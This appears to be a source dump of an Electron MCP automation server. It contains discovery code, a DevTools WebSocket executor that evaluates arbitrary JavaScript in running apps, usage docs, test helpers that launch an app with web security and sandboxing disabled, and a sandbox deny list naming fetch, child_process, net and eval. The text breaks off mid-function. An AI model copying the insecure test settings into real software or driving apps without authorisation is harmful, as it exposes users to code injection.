level: SecurityLevel = SecurityLevel.BALANCED,
): Partial<SecurityConfig> {
const profile = SECURITY_PROFILES[level];
return {
defaultRiskThreshold: profile.riskThreshold,
enableInputValidation: true,
enableAuditLog: true,
enableSandbox: level !== SecurityLevel.DEVELOPMENT,
enableScreenshotEncryption: level !== SecurityLevel.DEVELOPMENT,
};
}
/**
* Get the default security level from environment variable or fallback to BALANCED
* Environment variable: SECURITY_LEVEL
* Valid values: strict, balanced, permissive, development
*/
export function getDefaultSecurityLevel(): SecurityLevel {
const envSecurityLevel = process.env.SECURITY_LEVEL;
if (envSecurityLevel) {
const normalizedLevel = envSecurityLevel.toLowerCase();
// Check if the provided value is a valid SecurityLevel
if (Object.values(SecurityLevel).includes(normalizedLevel as SecurityLevel)) {
logger.info(`Using security level from environment: ${normalizedLevel}`);
return normalizedLevel as SecurityLevel;
} else {
logger.warn(`Invalid security level in environment variable: ${envSecurityLevel}. Valid values are: ${Object.values(SecurityLevel).join(', ')}. Falling back to BALANCED.`);
}
}
logger.info('Using BALANCED security level (default)');
return SecurityLevel.BALANCED;
}
```
--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
```markdown
# Bug Report Template
When reporting bugs with the Electron MCP Server, please include the following technical details to help developers understand and reproduce the issue.
## Basic Information
- **MCP Server Version**: `[email protected]`
- **Node.js Version**: `node --version`
- **Electron Version**: `electron --version`
- **Operating System**: Windows/macOS/Linux
- **Security Level**: STRICT/BALANCED/PERMISSIVE/DEVELOPMENT
## Bug Description
### Expected Behavior
What should happen when the command is executed.
### Actual Behavior
What actually happens, including any error messages.
## Reproduction Steps
### 1. MCP Command Structure
**Tool Name**: `tool_name`
**Method**: `tools/call`
**Arguments Structure**:
```json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "tool_name",
"arguments": {
"command": "command_name",
"args": {
"parameter": "value"
}
}
}
}
```
### 2. Full Command Example
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Button Text"}}}}' | node dist/index.js
```
### 3. Error Output
```
[MCP] ERROR: Error message here
{"result":{"content":[{"type":"text","text":"❌ Error: Detailed error message"}],"isError":true},"jsonrpc":"2.0","id":1}
```
### 4. Expected Output
```
[MCP] INFO: Success message here
{"result":{"content":[{"type":"text","text":"✅ Result: Success message"}],"isError":false},"jsonrpc":"2.0","id":1}
```
## Technical Context
### Target Application
- **Application Type**: React/Vue/Angular/Vanilla JS
- **Framework Version**: React 18, Vue 3, etc.
- **Electron Remote Debugging**: Port 9222 enabled
- **DevTools Available**: Yes/No
### Environment Setup
```bash
# Commands to reproduce the environment
npm install
npm run build
npm run start
```
### Application State
- **Page URL**: `file:///path/to/app.html` or `http://localhost:3000`
- **DOM Elements**: Provide `get_page_structure` output if relevant
- **Console Errors**: Any JavaScript errors in the target application
## Additional Information
### Related Files
- Source code files involved
- Configuration files
- Log files
### Debugging Attempts
What you've already tried to fix the issue.
### Screenshots
Include screenshots of the application state, if helpful.
---
## Example Bug Reports
### Example 1: Click Command Failure
**Bug**: Click commands fail on React components with preventDefault
**MCP Command**:
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit"}}}}' | node dist/index.js
```
**Error Output**:
```
[MCP] INFO: Tool call: send_command_to_electron
{"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1}
```
**Expected Output**:
```
{"result":{"content":[{"type":"text","text":"✅ Result: Successfully clicked element: Submit"}],"isError":false},"jsonrpc":"2.0","id":1}
```
**Technical Details**:
- **Target Element**: `<button onClick={e => e.preventDefault()}>Submit</button>`
- **Issue Location**: `src/utils/electron-commands.ts:515`
- **Root Cause**: preventDefault() treated as failure condition
### Example 2: Form Input Detection Failure
**Bug**: fill_input returns "No suitable input found" for visible React inputs
**MCP Command**:
```bash
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js
```
**Error Output**:
```
{"result":{"content":[{"type":"text","text":"❌ Error: No suitable input found for: \"username\". Available inputs: email, password, submit"}],"isError":true},"jsonrpc":"2.0","id":2}
```
**Page Structure Output**:
```bash
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
```
```json
{
"inputs": [
{
"type": "text",
"placeholder": "Enter username",
"label": "Username",
"id": "username",
"name": "username",
"visible": true
}
]
}
```
**Technical Details**:
- **Target Element**: `<input id="username" name="username" placeholder="Enter username" />`
- **Issue Location**: `src/utils/electron-input-commands.ts` scoring algorithm
- **Root Cause**: Scoring algorithm fails to match React-rendered inputs
```
--------------------------------------------------------------------------------
/src/utils/electron-discovery.ts:
--------------------------------------------------------------------------------
```typescript
import { exec } from 'child_process';
import { promisify } from 'util';
import { logger } from './logger';
export interface ElectronAppInfo {
port: number;
targets: any[];
}
export interface WindowInfo {
id: string;
title: string;
url: string;
type: string;
description: string;
webSocketDebuggerUrl: string;
}
export interface ElectronWindowResult {
platform: string;
devToolsPort?: number;
windows: WindowInfo[];
totalTargets: number;
electronTargets: number;
processInfo?: any;
message: string;
automationReady: boolean;
}
/**
* Scan for running Electron applications with DevTools enabled
*/
export async function scanForElectronApps(): Promise<ElectronAppInfo[]> {
logger.debug('Scanning for running Electron applications...');
// Extended port range to include test apps and common custom ports
const commonPorts = [
9222,
9223,
9224,
9225, // Default ports
9200,
9201,
9202,
9203,
9204,
9205, // Security test range
9300,
9301,
9302,
9303,
9304,
9305, // Integration test range
9400,
9401,
9402,
9403,
9404,
9405, // Additional range
];
const foundApps: ElectronAppInfo[] = [];
for (const port of commonPorts) {
try {
const response = await fetch(`http://localhost:${port}/json`, {
signal: AbortSignal.timeout(1000),
});
if (response.ok) {
const targets = await response.json();
const pageTargets = targets.filter((target: any) => target.type === 'page');
if (pageTargets.length > 0) {
foundApps.push({
port,
targets: pageTargets,
});
logger.debug(`Found Electron app on port ${port} with ${pageTargets.length} windows`);
}
}
} catch {
// Continue to next port
}
}
return foundApps;
}
/**
* Get detailed process information for running Electron applications
*/
export async function getElectronProcessInfo(): Promise<any> {
const execAsync = promisify(exec);
try {
const { stdout } = await execAsync(
"ps aux | grep -i electron | grep -v grep | grep -v 'Visual Studio Code'",
);
const electronProcesses = stdout
.trim()
.split('\n')
.filter((line) => line.includes('electron'))
.map((line) => {
const parts = line.trim().split(/\s+/);
return {
pid: parts[1],
cpu: parts[2],
memory: parts[3],
command: parts.slice(10).join(' '),
};
});
return { electronProcesses };
} catch (error) {
logger.debug('Could not get process info:', error);
return {};
}
}
/**
* Find the main target from a list of targets
*/
export function findMainTarget(targets: any[]): any | null {
return (
targets.find((target: any) => target.type === 'page' && !target.title.includes('DevTools')) ||
targets.find((target: any) => target.type === 'page')
);
}
/**
* Get window information from any running Electron app
*/
export async function getElectronWindowInfo(
includeChildren: boolean = false,
): Promise<ElectronWindowResult> {
try {
const foundApps = await scanForElectronApps();
if (foundApps.length === 0) {
return {
platform: process.platform,
windows: [],
totalTargets: 0,
electronTargets: 0,
message: 'No Electron applications found with remote debugging enabled',
automationReady: false,
};
}
// Use the first found app
const app = foundApps[0];
const windows: WindowInfo[] = app.targets.map((target: any) => ({
id: target.id,
title: target.title,
url: target.url,
type: target.type,
description: target.description || '',
webSocketDebuggerUrl: target.webSocketDebuggerUrl,
}));
// Get additional process information
const processInfo = await getElectronProcessInfo();
return {
platform: process.platform,
devToolsPort: app.port,
windows: includeChildren
? windows
: windows.filter((w: WindowInfo) => !w.title.includes('DevTools')),
totalTargets: windows.length,
electronTargets: windows.length,
processInfo,
message: `Found running Electron application with ${windows.length} windows on port ${app.port}`,
automationReady: true,
};
} catch (error) {
logger.error('Failed to scan for applications:', error);
return {
platform: process.platform,
windows: [],
totalTargets: 0,
electronTargets: 0,
message: `Failed to scan for Electron applications: ${
error instanceof Error ? error.message : String(error)
}`,
automationReady: false,
};
}
}
```
--------------------------------------------------------------------------------
/MCP_USAGE_GUIDE.md:
--------------------------------------------------------------------------------
```markdown
# MCP Usage Examples for Electron MCP Server
This document provides comprehensive examples of how to properly use the Electron MCP Server tools.
## 🎯 Common Patterns
### Getting Started - Page Inspection
Always start by understanding the page structure:
```json
{
"command": "get_page_structure"
}
```
This returns all interactive elements with their properties, helping you choose the right targeting method.
### Button Interactions
#### Method 1: Click by Visible Text (Recommended)
```json
{
"command": "click_by_text",
"args": {
"text": "Create New Encyclopedia"
}
}
```
#### Method 2: Click by CSS Selector
```json
{
"command": "click_by_selector",
"args": {
"selector": "button[class*='bg-blue-500']"
}
}
```
### Form Interactions
#### Fill Input by Placeholder
```json
{
"command": "fill_input",
"args": {
"placeholder": "Enter encyclopedia name",
"value": "AI and Machine Learning"
}
}
```
#### Fill Input by CSS Selector
```json
{
"command": "fill_input",
"args": {
"selector": "#email",
"value": "[email protected]"
}
}
```
### Keyboard Shortcuts
```json
{
"command": "send_keyboard_shortcut",
"args": {
"text": "Ctrl+N"
}
}
```
### Custom JavaScript
```json
{
"command": "eval",
"args": {
"code": "document.querySelectorAll('button').length"
}
}
```
## 🚨 Common Mistakes and Fixes
### ❌ Mistake 1: Wrong Argument Structure
```json
// WRONG - causes "selector is empty" error
{
"command": "click_by_selector",
"args": "button.submit"
}
// CORRECT
{
"command": "click_by_selector",
"args": {
"selector": "button.submit"
}
}
```
### ❌ Mistake 2: Using Complex Selectors Incorrectly
```json
// WRONG - invalid CSS syntax
{
"command": "click_by_selector",
"args": {
"selector": "button:has-text('Create')"
}
}
// CORRECT - use click_by_text instead
{
"command": "click_by_text",
"args": {
"text": "Create"
}
}
```
### ❌ Mistake 3: Not Handling React/Dynamic Content
```json
// BETTER - wait and retry pattern
{
"command": "get_page_structure"
}
// Check if elements loaded, then:
{
"command": "click_by_selector",
"args": {
"selector": "button[data-testid='submit']"
}
}
```
## 🔄 Complete Workflow Examples
### Example 1: Creating a New Item in an App
```json
// 1. Take a screenshot to see current state
{
"tool": "take_screenshot"
}
// 2. Understand the page structure
{
"tool": "send_command_to_electron",
"args": {
"command": "get_page_structure"
}
}
// 3. Click the "Create" button
{
"tool": "send_command_to_electron",
"args": {
"command": "click_by_text",
"args": {
"text": "Create New"
}
}
}
// 4. Fill in the form
{
"tool": "send_command_to_electron",
"args": {
"command": "fill_input",
"args": {
"placeholder": "Enter name",
"value": "My New Item"
}
}
}
// 5. Submit the form
{
"tool": "send_command_to_electron",
"args": {
"command": "click_by_selector",
"args": {
"selector": "button[type='submit']"
}
}
}
// 6. Verify success
{
"tool": "take_screenshot"
}
```
### Example 2: Debugging Element Issues
```json
// 1. Get all button information
{
"tool": "send_command_to_electron",
"args": {
"command": "debug_elements"
}
}
// 2. Check specific element properties
{
"tool": "send_command_to_electron",
"args": {
"command": "eval",
"args": {
"code": "Array.from(document.querySelectorAll('button')).map(btn => ({text: btn.textContent, classes: btn.className, visible: btn.offsetParent !== null}))"
}
}
}
// 3. Try alternative targeting method
{
"tool": "send_command_to_electron",
"args": {
"command": "click_by_text",
"args": {
"text": "Submit"
}
}
}
```
## 💡 Best Practices
### 1. Always Verify Element Existence
```json
{
"command": "eval",
"args": {
"code": "document.querySelector('button.submit') ? 'Element exists' : 'Element not found'"
}
}
```
### 2. Use Text-Based Targeting When Possible
Text-based targeting is more resilient to UI changes:
```json
{
"command": "click_by_text",
"args": {
"text": "Save"
}
}
```
### 3. Fallback Strategies
```json
// Try text first
{
"command": "click_by_text",
"args": {
"text": "Submit"
}
}
// If that fails, try selector
{
"command": "click_by_selector",
"args": {
"selector": "button[type='submit']"
}
}
```
### 4. Handle Dynamic Content
```json
// Check if content is loaded
{
"command": "eval",
"args": {
"code": "document.querySelector('.loading') ? 'Still loading' : 'Ready'"
}
}
```
## 🛠️ Security Considerations
### Safe JavaScript Execution
```json
// SAFE - simple property access
{
"command": "eval",
"args": {
"code": "document.title"
}
}
// AVOID - complex operations that might be blocked
{
"command": "eval",
"args": {
"code": "fetch('/api/data').then(r => r.json())"
}
}
```
### Use Built-in Commands
Prefer built-in commands over eval when possible:
```json
// BETTER
{
"command": "get_title"
}
// INSTEAD OF
{
"command": "eval",
"args": {
"code": "document.title"
}
}
```
## 📝 Tool Reference Summary
| Tool | Purpose | Key Arguments |
| -------------------------- | -------------- | ------------------------------------------- |
| `get_electron_window_info` | Get app info | `includeChildren: boolean` |
| `take_screenshot` | Capture screen | `windowTitle?: string, outputPath?: string` |
| `send_command_to_electron` | UI interaction | `command: string, args: object` |
| `read_electron_logs` | View logs | `logType?: string, lines?: number` |
Remember: Always structure arguments as objects with the appropriate properties for each command!
```
--------------------------------------------------------------------------------
/src/handlers.ts:
--------------------------------------------------------------------------------
```typescript
import { CallToolRequestSchema } from '@modelcontextprotocol/sdk/types';
import { z } from 'zod';
import { ToolName } from './tools';
import {
SendCommandToElectronSchema,
TakeScreenshotSchema,
ReadElectronLogsSchema,
GetElectronWindowInfoSchema,
} from './schemas';
import { sendCommandToElectron } from './utils/electron-enhanced-commands';
import { getElectronWindowInfo } from './utils/electron-discovery';
import { readElectronLogs } from './utils/electron-logs';
import { takeScreenshot } from './screenshot';
import { logger } from './utils/logger';
import { securityManager } from './security/manager';
export async function handleToolCall(request: z.infer<typeof CallToolRequestSchema>) {
const { name, arguments: args } = request.params;
// Extract request metadata for security logging
const sourceIP = (request as any).meta?.sourceIP;
const userAgent = (request as any).meta?.userAgent;
try {
switch (name) {
case ToolName.GET_ELECTRON_WINDOW_INFO: {
// This is a low-risk read operation - basic validation only
const { includeChildren } = GetElectronWindowInfoSchema.parse(args);
const securityResult = await securityManager.executeSecurely({
command: 'get_window_info',
args,
sourceIP,
userAgent,
operationType: 'window_info',
});
if (securityResult.blocked) {
return {
content: [
{
type: 'text',
text: `Operation blocked: ${securityResult.error}`,
},
],
isError: true,
};
}
const result = await getElectronWindowInfo(includeChildren);
return {
content: [
{
type: 'text',
text: `Window Information:\n\n${JSON.stringify(result, null, 2)}`,
},
],
isError: false,
};
}
case ToolName.TAKE_SCREENSHOT: {
// Security check for screenshot operation
const securityResult = await securityManager.executeSecurely({
command: 'take_screenshot',
args,
sourceIP,
userAgent,
operationType: 'screenshot',
});
if (securityResult.blocked) {
return {
content: [
{
type: 'text',
text: `Screenshot blocked: ${securityResult.error}`,
},
],
isError: true,
};
}
const { outputPath, windowTitle } = TakeScreenshotSchema.parse(args);
const result = await takeScreenshot(outputPath, windowTitle);
// Return the screenshot as base64 data for AI to evaluate
const content: any[] = [];
if (result.filePath) {
content.push({
type: 'text',
text: `Screenshot saved to: ${result.filePath}`,
});
} else {
content.push({
type: 'text',
text: 'Screenshot captured in memory (no file saved)',
});
}
// Add the image data for AI evaluation
content.push({
type: 'image',
data: result.base64!,
mimeType: 'image/png',
});
return { content, isError: false };
}
case ToolName.SEND_COMMAND_TO_ELECTRON: {
const { command, args: commandArgs } = SendCommandToElectronSchema.parse(args);
// Execute command through security manager
const securityResult = await securityManager.executeSecurely({
command,
args: commandArgs,
sourceIP,
userAgent,
operationType: 'command',
});
if (securityResult.blocked) {
return {
content: [
{
type: 'text',
text: `Command blocked: ${securityResult.error}\nRisk Level: ${securityResult.riskLevel}`,
},
],
isError: true,
};
}
if (!securityResult.success) {
return {
content: [
{
type: 'text',
text: `Command failed: ${securityResult.error}`,
},
],
isError: true,
};
}
// Execute the actual command if security checks pass
const result = await sendCommandToElectron(command, commandArgs);
return {
content: [{ type: 'text', text: result }],
isError: false,
};
}
case ToolName.READ_ELECTRON_LOGS: {
const { logType, lines, follow } = ReadElectronLogsSchema.parse(args);
const logs = await readElectronLogs(logType, lines);
if (follow) {
return {
content: [
{
type: 'text',
text: `Following logs (${logType}). This is a snapshot of recent logs:\n\n${logs}`,
},
],
isError: false,
};
}
return {
content: [
{
type: 'text',
text: `Electron logs (${logType}):\n\n${logs}`,
},
],
isError: false,
};
}
default:
return {
content: [
{
type: 'text',
text: `Unknown tool: ${name}`,
},
],
isError: true,
};
}
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
const errorStack = error instanceof Error ? error.stack : undefined;
logger.error(`Tool execution failed: ${name}`, {
error: errorMessage,
stack: errorStack,
args,
});
return {
content: [
{
type: 'text',
text: `Error executing ${name}: ${errorMessage}`,
},
],
isError: true,
};
}
}
```
--------------------------------------------------------------------------------
/src/utils/electron-connection.ts:
--------------------------------------------------------------------------------
```typescript
import WebSocket from 'ws';
import { scanForElectronApps, findMainTarget } from './electron-discovery';
import { logger } from './logger';
export interface DevToolsTarget {
id: string;
title: string;
url: string;
webSocketDebuggerUrl: string;
type: string;
}
export interface CommandResult {
success: boolean;
result?: any;
error?: string;
message: string;
}
/**
* Find and connect to a running Electron application
*/
export async function findElectronTarget(): Promise<DevToolsTarget> {
logger.debug('Looking for running Electron applications...');
const foundApps = await scanForElectronApps();
if (foundApps.length === 0) {
throw new Error(
'No running Electron application found with remote debugging enabled. Start your app with: electron . --remote-debugging-port=9222',
);
}
const app = foundApps[0];
const mainTarget = findMainTarget(app.targets);
if (!mainTarget) {
throw new Error('No suitable target found in Electron application');
}
logger.debug(`Found Electron app on port ${app.port}: ${mainTarget.title}`);
return {
id: mainTarget.id,
title: mainTarget.title,
url: mainTarget.url,
webSocketDebuggerUrl: mainTarget.webSocketDebuggerUrl,
type: mainTarget.type,
};
}
/**
* Execute JavaScript code in an Electron application via Chrome DevTools Protocol
*/
export async function executeInElectron(
javascriptCode: string,
target?: DevToolsTarget,
): Promise<string> {
const targetInfo = target || (await findElectronTarget());
if (!targetInfo.webSocketDebuggerUrl) {
throw new Error('No WebSocket debugger URL available');
}
return new Promise((resolve, reject) => {
const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
const messageId = Math.floor(Math.random() * 1000000);
const timeout = setTimeout(() => {
ws.close();
reject(new Error('Command execution timeout (10s)'));
}, 10000);
ws.on('open', () => {
logger.debug(`Connected to ${targetInfo.title} via WebSocket`);
// Enable Runtime domain first
ws.send(
JSON.stringify({
id: 1,
method: 'Runtime.enable',
}),
);
// Send Runtime.evaluate command
const message = {
id: messageId,
method: 'Runtime.evaluate',
params: {
expression: javascriptCode,
returnByValue: true,
awaitPromise: false,
},
};
logger.debug(`Executing JavaScript code...`);
ws.send(JSON.stringify(message));
});
ws.on('message', (data) => {
try {
const response = JSON.parse(data.toString());
// Filter out noisy CDP events to reduce log spam
const FILTERED_CDP_METHODS = [
'Runtime.executionContextCreated',
'Runtime.consoleAPICalled',
'Console.messageAdded',
'Page.frameNavigated',
'Page.loadEventFired',
];
// Only log CDP events if debug level is enabled and they're not filtered
if (
logger.isEnabled(3) &&
(!response.method || !FILTERED_CDP_METHODS.includes(response.method))
) {
logger.debug(`CDP Response for message ${messageId}:`, JSON.stringify(response, null, 2));
}
if (response.id === messageId) {
clearTimeout(timeout);
ws.close();
if (response.error) {
logger.error(`DevTools Protocol error:`, response.error);
reject(new Error(`DevTools Protocol error: ${response.error.message}`));
} else if (response.result) {
const result = response.result.result;
logger.debug(`Execution result type: ${result?.type}, value:`, result?.value);
if (result.type === 'string') {
resolve(`✅ Command executed: ${result.value}`);
} else if (result.type === 'number') {
resolve(`✅ Result: ${result.value}`);
} else if (result.type === 'boolean') {
resolve(`✅ Result: ${result.value}`);
} else if (result.type === 'undefined') {
resolve(`✅ Command executed successfully`);
} else if (result.type === 'object') {
if (result.value === null) {
resolve(`✅ Result: null`);
} else if (result.value === undefined) {
resolve(`✅ Result: undefined`);
} else {
try {
resolve(`✅ Result: ${JSON.stringify(result.value, null, 2)}`);
} catch {
resolve(
`✅ Result: [Object - could not serialize: ${
result.className || result.objectId || 'unknown'
}]`,
);
}
}
} else {
resolve(`✅ Result type ${result.type}: ${result.description || 'no description'}`);
}
} else {
logger.debug(`No result in response:`, response);
resolve(`✅ Command sent successfully`);
}
}
} catch (error) {
// Only treat parsing errors as warnings, not errors
logger.warn(`Failed to parse CDP response:`, error);
}
});
ws.on('error', (error) => {
clearTimeout(timeout);
reject(new Error(`WebSocket error: ${error.message}`));
});
});
}
/**
* Connect to Electron app for real-time log monitoring
*/
export async function connectForLogs(
target?: DevToolsTarget,
onLog?: (log: string) => void,
): Promise<WebSocket> {
const targetInfo = target || (await findElectronTarget());
if (!targetInfo.webSocketDebuggerUrl) {
throw new Error('No WebSocket debugger URL available for log connection');
}
return new Promise((resolve, reject) => {
const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
ws.on('open', () => {
logger.debug(`Connected for log monitoring to: ${targetInfo.title}`);
// Enable Runtime and Console domains
ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }));
ws.send(JSON.stringify({ id: 2, method: 'Console.enable' }));
resolve(ws);
});
ws.on('message', (data) => {
try {
const response = JSON.parse(data.toString());
if (response.method === 'Console.messageAdded') {
const msg = response.params.message;
const timestamp = new Date().toISOString();
const logEntry = `[${timestamp}] ${msg.level.toUpperCase()}: ${msg.text}`;
onLog?.(logEntry);
} else if (response.method === 'Runtime.consoleAPICalled') {
const call = response.params;
const timestamp = new Date().toISOString();
const args = call.args?.map((arg: any) => arg.value || arg.description).join(' ') || '';
const logEntry = `[${timestamp}] ${call.type.toUpperCase()}: ${args}`;
onLog?.(logEntry);
}
} catch (error) {
logger.warn(`Failed to parse log message:`, error);
}
});
ws.on('error', (error) => {
reject(new Error(`WebSocket error: ${error.message}`));
});
});
}
```
--------------------------------------------------------------------------------
/tests/support/helpers.ts:
--------------------------------------------------------------------------------
```typescript
import { rmSync, existsSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'fs';
import { join, basename } from 'path';
import { logger } from '../../src/utils/logger';
import { TEST_CONFIG, createElectronAppPath } from './config';
import { spawn, ChildProcess } from 'child_process';
import { createServer } from 'net';
export interface TestElectronApp {
port: number;
process: ChildProcess;
appPath: string;
cleanup: () => Promise<void>;
}
export interface CleanupOptions {
removeLogsDir?: boolean;
removeTempDir?: boolean;
preserveKeys?: boolean;
}
/**
* Consolidated test helpers and utilities
*/
export class TestHelpers {
/**
* Create and start a test Electron application
*/
static async createTestElectronApp(): Promise<TestElectronApp> {
const port = await this.findAvailablePort();
const appPath = createElectronAppPath(port);
// Create app directory and files
mkdirSync(appPath, { recursive: true });
// Create package.json
const packageJson = {
name: 'test-electron-app',
version: '1.0.0',
main: 'main.js',
scripts: {
start: 'electron .',
},
};
writeFileSync(join(appPath, 'package.json'), JSON.stringify(packageJson, null, 2));
// Create main.js
const mainJs = `
const { app, BrowserWindow } = require('electron');
const path = require('path');
let mainWindow;
app.commandLine.appendSwitch('remote-debugging-port', '${port}');
app.commandLine.appendSwitch('no-sandbox');
app.commandLine.appendSwitch('disable-web-security');
function createWindow() {
mainWindow = new BrowserWindow({
width: 800,
height: 600,
show: false, // Keep hidden for testing
webPreferences: {
nodeIntegration: true,
contextIsolation: false
}
});
mainWindow.setTitle('${TEST_CONFIG.ELECTRON.WINDOW_TITLE}');
mainWindow.loadFile('index.html');
mainWindow.webContents.once('did-finish-load', () => {
console.log('[TEST-APP] Window ready, staying hidden for testing');
});
}
app.whenReady().then(() => {
createWindow();
console.log('[TEST-APP] Electron app ready with remote debugging on port ${port}');
});
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
app.quit();
}
});
`;
writeFileSync(join(appPath, 'main.js'), mainJs);
// Create index.html
writeFileSync(join(appPath, 'index.html'), TEST_CONFIG.ELECTRON.HTML_CONTENT);
// Start the Electron process
const electronProcess = spawn('npx', ['electron', '.'], {
cwd: appPath,
stdio: ['pipe', 'pipe', 'pipe'],
});
const app: TestElectronApp = {
port,
process: electronProcess,
appPath,
cleanup: async () => {
electronProcess.kill();
if (existsSync(appPath)) {
rmSync(appPath, { recursive: true, force: true });
}
},
};
// Wait for app to be ready
await this.waitForElectronApp(app);
return app;
}
/**
* Wait for Electron app to be ready for testing
*/
static async waitForElectronApp(
app: TestElectronApp,
timeout = TEST_CONFIG.TIMEOUTS.ELECTRON_START,
): Promise<void> {
return new Promise((resolve, reject) => {
const startTime = Date.now();
const checkReady = async () => {
try {
const response = await fetch(`http://localhost:${app.port}/json`);
if (response.ok) {
logger.info(`✅ Test Electron app ready for integration and security testing`);
resolve();
return;
}
} catch {
// App not ready yet
}
if (Date.now() - startTime > timeout) {
reject(new Error(`Electron app failed to start within ${timeout}ms`));
return;
}
setTimeout(checkReady, 100);
};
checkReady();
});
}
/**
* Find an available port in the configured range
*/
private static async findAvailablePort(): Promise<number> {
const [start, end] = TEST_CONFIG.ELECTRON.DEFAULT_PORT_RANGE;
for (let port = start; port <= end; port++) {
if (await this.isPortAvailable(port)) {
return port;
}
}
throw new Error(`No available ports in range ${start}-${end}`);
}
/**
* Check if a port is available
*/
private static async isPortAvailable(port: number): Promise<boolean> {
return new Promise((resolve) => {
const server = createServer();
server.listen(port, () => {
server.close(() => resolve(true));
});
server.on('error', () => resolve(false));
});
}
/**
* Clean up test artifacts and temporary files
*/
static async cleanup(options: CleanupOptions = {}): Promise<void> {
const { removeLogsDir = true, removeTempDir = true, preserveKeys = false } = options;
try {
// Clean up logs directory
if (removeLogsDir && existsSync(basename(TEST_CONFIG.PATHS.LOGS_DIR))) {
if (preserveKeys) {
this.cleanupLogsPreservingKeys();
} else {
rmSync(basename(TEST_CONFIG.PATHS.LOGS_DIR), { recursive: true, force: true });
logger.info(`🧹 Cleaned up logs directory`);
}
}
// Clean up temp directories
if (removeTempDir) {
[basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
(dir) => {
if (existsSync(dir)) {
rmSync(dir, { recursive: true, force: true });
logger.info(`🧹 Cleaned up ${dir} directory`);
}
},
);
}
} catch (error) {
logger.error('Failed to cleanup test artifacts:', error);
}
}
/**
* Clean up only log files while preserving encryption keys
*/
private static cleanupLogsPreservingKeys(): void {
try {
const securityDir = join(basename(TEST_CONFIG.PATHS.LOGS_DIR), 'security');
if (existsSync(securityDir)) {
const files = readdirSync(securityDir);
files.forEach((file: string) => {
if (file.endsWith('.log')) {
const filePath = join(securityDir, file);
rmSync(filePath, { force: true });
logger.info(`🧹 Cleaned up log file: ${filePath}`);
}
});
}
} catch (error) {
logger.error('Failed to cleanup log files:', error);
}
}
/**
* Get size of artifacts that would be cleaned up
*/
static getCleanupSize(): { logs: number; temp: number; total: number } {
let logsSize = 0;
let tempSize = 0;
try {
const logsDir = basename(TEST_CONFIG.PATHS.LOGS_DIR);
if (existsSync(logsDir)) {
logsSize = this.getDirectorySize(logsDir);
}
[basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
(dir) => {
if (existsSync(dir)) {
tempSize += this.getDirectorySize(dir);
}
},
);
} catch (error) {
logger.error('Failed to calculate cleanup size:', error);
}
return {
logs: logsSize,
temp: tempSize,
total: logsSize + tempSize,
};
}
/**
* Calculate directory size in bytes
*/
private static getDirectorySize(dirPath: string): number {
let totalSize = 0;
try {
const items = readdirSync(dirPath);
for (const item of items) {
const itemPath = join(dirPath, item);
const stats = statSync(itemPath);
if (stats.isDirectory()) {
totalSize += this.getDirectorySize(itemPath);
} else {
totalSize += stats.size;
}
}
} catch (_error) {
// Directory might not exist or be accessible
}
return totalSize;
}
/**
* Create a proper MCP request format for testing
*/
static createMCPRequest(toolName: string, args: any = {}) {
return {
method: 'tools/call' as const,
params: {
name: toolName,
arguments: args,
},
};
}
}
```
--------------------------------------------------------------------------------
/src/security/sandbox.ts:
--------------------------------------------------------------------------------
```typescript
import { spawn } from 'child_process';
import { promises as fs } from 'fs';
import { join } from 'path';
import { randomUUID } from 'crypto';
import { logger } from '../utils/logger';
export interface SandboxOptions {
timeout?: number;
maxMemory?: number;
allowedModules?: string[];
blacklistedFunctions?: string[];
}
export interface SandboxResult {
success: boolean;
result?: any;
error?: string;
executionTime: number;
memoryUsed?: number;
}
const DEFAULT_BLACKLISTED_FUNCTIONS = [
'eval',
'Function',
'setTimeout',
'setInterval',
'setImmediate',
'require',
'import',
'process',
'global',
'globalThis',
'__dirname',
'__filename',
'Buffer',
'XMLHttpRequest',
'fetch',
'WebSocket',
'Worker',
'SharedWorker',
'ServiceWorker',
'importScripts',
'postMessage',
'close',
'open',
];
const DEFAULT_BLACKLISTED_OBJECTS = [
'fs',
'child_process',
'cluster',
'crypto',
'dgram',
'dns',
'http',
'https',
'net',
'os',
'path',
'stream',
'tls',
'url',
'util',
'v8',
'vm',
'worker_threads',
'zlib',
'perf_hooks',
'inspector',
'repl',
'readline',
'domain',
'events',
'querystring',
'punycode',
'constants',
];
export class CodeSandbox {
private options: Required<SandboxOptions>;
constructor(options: SandboxOptions = {}) {
this.options = {
timeout: options.timeout || 5000,
maxMemory: options.maxMemory || 50 * 1024 * 1024, // 50MB
allowedModules: options.allowedModules || [],
blacklistedFunctions: [
...DEFAULT_BLACKLISTED_FUNCTIONS,
...(options.blacklistedFunctions || []),
],
};
}
async executeCode(code: string): Promise<SandboxResult> {
const startTime = Date.now();
const sessionId = randomUUID();
logger.info(`Starting sandboxed execution [${sessionId}]`);
try {
// Validate code before execution
const validation = this.validateCode(code);
if (!validation.isValid) {
return {
success: false,
error: `Code validation failed: ${validation.errors.join(', ')}`,
executionTime: Date.now() - startTime,
};
}
// Create isolated execution environment
const result = await this.executeInIsolation(code, sessionId);
const executionTime = Date.now() - startTime;
logger.info(`Sandboxed execution completed [${sessionId}] in ${executionTime}ms`);
return {
success: true,
